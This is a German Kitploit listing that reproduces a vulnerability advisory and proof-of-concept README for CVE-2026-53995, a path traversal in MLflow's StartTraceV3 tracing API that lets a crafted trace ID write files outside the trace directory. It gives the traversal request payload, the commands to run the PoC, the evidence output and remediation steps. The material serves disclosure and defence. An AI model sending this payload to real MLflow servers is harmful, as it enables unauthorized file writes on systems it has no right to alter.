Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-53995-mlflow-path-traversal — MLflow <=3.17.1 Path-Traversal ermöglicht das Schreiben von Trace-Dateien außerhalb des vorgesehenen Verzeichnisses. | Kitploit
Tools/GitHubGitHub/saiteja-erukude/cve-2026-53995-mlflow-path-traversal
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPapers & Forschung
GitHubsaiteja-erukude/cve-2026-53995-mlflow-path-traversal

CVE-2026-53995-mlflow-path-traversal

MLflow <=3.17.1 Path-Traversal ermöglicht das Schreiben von Trace-Dateien außerhalb des vorgesehenen Verzeichnisses.

Repository anzeigen
1vor 27 TagenNoch nicht geprüft
Teilen

CVE-2026-53995: MLflow <= 3.17.1 StartTraceV3 Path Traversal

Schweregrad: Hoch, CVSS 3.1 8.2

Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Betroffen: MLflow-Versionen <= 3.17.1 bei Verwendung des FileStore-Tracking-Backends

Komponente: MLflow Tracing API, StartTraceV3 / FileStore.start_trace()

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), CWE-23 (Relative Path Traversal), CWE-73 (External Control of File Name or Path)

Entdeckt und gemeldet von: Sai Teja Erukude


Zusammenfassung

MLflow akzeptiert eine clientseitig kontrollierte trace_info.trace_id über die StartTraceV3-Tracing-API. Wenn das Tracking-Backend FileStore ist, wird diese ID bei der Konstruktion von Dateisystempfaden verwendet, ohne Traversal-Segmente wie ../ abzulehnen.

Ein Angreifer kann eine Trace-ID wie ../../../escaped-trace-dir übermitteln, um das vorgesehene Experiment-Trace-Verzeichnis zu verlassen. MLflow erstellt dann trace-bezogene Dateien in dem aufgelösten Verzeichnis außerhalb des Trace-Speicherbaums.

Auswirkung

Wenn der Tracing-Endpunkt ohne Authentifizierung oder Zugriffsbeschränkungen exponiert ist, kann ein nicht authentifizierter Client den Dateisystemort von MLflow-kontrollierten Trace-Dateien auf einem FileStore-gestützten Server beeinflussen, abhängig von den Dateisystemberechtigungen des Serverprozesses. Der enthaltene PoC verwendet den lokalen Testclient von Flask; er testet weder die Netzwerkexposition noch die Authentifizierungskonfiguration einer Bereitstellung.

Der PoC demonstriert Schreibvorgänge außerhalb des vorgesehenen Experiment-Trace-Verzeichnisses:

  • trace_info.yaml, enthält clientseitig bereitgestellte Trace-Informationen.
  • request_metadata/poc_metadata, enthält angreiferkontrollierte Metadaten.
  • tags/poc_tag, enthält einen angreiferkontrollierten Tag-Wert.

Dies beeinträchtigt die Integrität, indem Anfragedaten steuern können, wohin trace-bezogene Dateien geschrieben werden. Unerwartete Verzeichnisse und Dateien außerhalb des Trace-Speicherbaums können auch eine begrenzte Auswirkung auf die Verfügbarkeit verursachen. Der demonstrierte Schreibvorgang verwendet die Trace-Dateiformate und Dateinamen von MLflow; er belegt weder beliebige Dateiinhalte, Codeausführung noch eine Auswirkung auf die Vertraulichkeit.

Der Bericht ordnet die folgenden CVSS-3.1-Metriken zu:

MetrikWert
Attack Vector (AV)Network (N)
Attack Complexity (AC)Low (L)
Privileges Required (PR)None (N)
User Interaction (UI)None (N)
Scope (S)Unchanged (U)
Confidentiality (C)None (N)
Integrity (I)High (H)
Availability (A)Low (L)

Technisches Detail

Der verwundbare Anforderungspfad ist:

POST /api/3.0/mlflow/traces
  -> _start_trace_v3()
  -> TraceInfo.from_proto(...)
  -> FileStore.start_trace(trace_info)
  -> filesystem path construction using trace_info.trace_id
  -> directory creation and trace information, metadata, and tag writes

Die Anfrage liefert die ID innerhalb von trace.trace_info:

{
  "trace": {
    "trace_info": {
      "trace_id": "../../../escaped-trace-dir",
      "trace_location": {
        "type": "MLFLOW_EXPERIMENT",
        "mlflow_experiment": {
          "experiment_id": "0"
        }
      },
      "trace_metadata": {
        "poc_metadata": "attacker-controlled metadata"
      },
      "tags": {
        "poc_tag": "attacker-controlled tag"
      }
    }
  }
}

Dieser Auszug zeigt die für die Traversierung relevanten Felder. Der Runner erstellt die vollständige Anfrage, einschließlich der Felder für Trace-Status, Zeitstempel und Vorschau.

Die vom Client kontrollierte ID erzeugt die folgende Pfadauflösung relativ zum PoC-Verzeichnis:

Expected trace storage: mlruns/0/traces/
Supplied trace ID:      ../../../escaped-trace-dir
Joined trace path:     mlruns/0/traces/../../../escaped-trace-dir/
Resolved trace path:   escaped-trace-dir/

Die gespeicherte Antwort gibt HTTP 200 zurück und behält die bösartige Trace-ID bei. Die resultierenden Dateien liegen neben mlruns/, außerhalb des vorgesehenen Experiment-Trace- Verzeichnisses.

Proof of Concept

run_poc.py erstellt eine bösartige StartTraceV3-Anfrage, konfiguriert einen lokalen FileStore, ruft die echte MLflow-HTTP-Route über den Test-Client von Flask auf und zeichnet die Antwort sowie Dateisystem-Beweise auf. Es übt die Route aus, ohne einen lauschenden Netzwerkserver zu starten.

python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install -r requirements.txt
python -B run_poc.py

Um das maschinenlesbare Ergebnis auszugeben:

python -B run_poc.py --json

Die gespeicherten Beweise enthalten diese Ergebnisse, hier abgekürzt:

{
  "package": {
    "distribution": "mlflow",
    "version": "3.17.1"
  },
  "endpoint": "/api/3.0/mlflow/traces",
  "status_code": 200,
  "malicious_trace_id": "../../../escaped-trace-dir",
  "checks": {
    "http_success": true,
    "trace_info_written_outside_traces_dir": true,
    "trace_metadata_file_written": true,
    "tag_file_written": true
  },
  "success": true
}

Der Runner speichert:

  • evidence/start-trace-request.json: den vollständigen Request-Body.
  • evidence/start-trace-response.json: die Server-Antwort.
  • evidence/escaped-trace-info.yaml: eine Kopie der Trace-Informationen, die außerhalb des Trace-Verzeichnisses geschrieben wurden.
  • evidence/summary.json: die Paketversion, aufgelöste Pfade, den Statuscode und die Verifikationsergebnisse.

success: true und Exit-Code 0 bedeuten, dass der Traversal reproduziert wurde. Eine fehlgeschlagene Prüfung gibt Exit-Code 1 zurück; dies allein beweist nicht, dass eine Version behoben ist.

Die Payload schreibt Demonstration-Trace-Daten unter escaped-trace-dir/ innerhalb des PoC-Verzeichnisses. Der Runner schreibt außerdem mlruns/ und evidence/; ein erneutes Ausführen ersetzt die gespeicherten Nachweise. Verwenden Sie eine frische Kopie, wenn Sie neue Ergebnisse sammeln, da der Runner nach Dateien sucht, die möglicherweise bereits aus einem früheren Lauf existieren. Absolute Pfade in den gespeicherten Nachweisen identifizieren die ursprüngliche Reproduktions- umgebung und werden sich in einem neuen Checkout unterscheiden.

Ein lokales Demo-Video ist enthalten.

Behebung

Validieren Sie Trace-IDs an der FileStore-Grenze, bevor Pfade konstruiert oder Verzeichnisse erstellt werden:

  • Wenden Sie eine strikte Allow-List für Trace-IDs an, die als Dateisystem-Pfadkomponenten verwendet werden.
  • Lehnen Sie Pfadtrennzeichen, Traversal-Segmente, absolute Pfade und Windows-Laufwerks- pfade ab, unabhängig von der Serverplattform.
  • Lösen Sie das Experiment-Trace-Verzeichnis auf und verifizieren Sie, dass es innerhalb des Experiment-Verzeichnisses bleibt.
  • Lösen Sie das endgültige Trace-Verzeichnis auf und verifizieren Sie, dass es innerhalb des Trace-Verzeichnisses des Experiments bleibt, auch wenn vorhandene Dateisystem-Links vorhanden sind.
  • Verwenden Sie dieselben Validierungs- und Containment-Prüfungen für zugehörige FileStore- Lookup-, Schreib-, Artifact-Path- und Löschoperationen wieder.
Tool herunterladen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    871
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    ARTEX

    baarai/artex

    LLM-basierte Multi-Agenten-Plattform für autonome Penetrationstests mit Planer-/Worker-Agenten, Asset- und Explorationsgraphen, MITM-Verkehrsaufzeichnung und Schwachstellen-Retesting.

    383
  • 4

    redforge

    cybersecurity91/redforge

    Browser-seitiges Red-Team-Toolkit mit 102 Offline-Tools für Recon, Payload-Generierung, Credential-Angriffe, Krypto, Encoding und Engagement-Reporting.

    361
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT-Plattform, die Shadowserver-Berichte in MongoDB einliest und sie als interaktive Karten, Analysen, Findings, Advisories und Executive-Dashboards wiedergibt.

    305
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Das System der Handlung für KI-native Cybersicherheit – wo Absicht zu gesteuerter Ausführung wird, Beweise zu operativem Gedächtnis werden und jeder Einsatz den nächsten verbessert.

    280

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →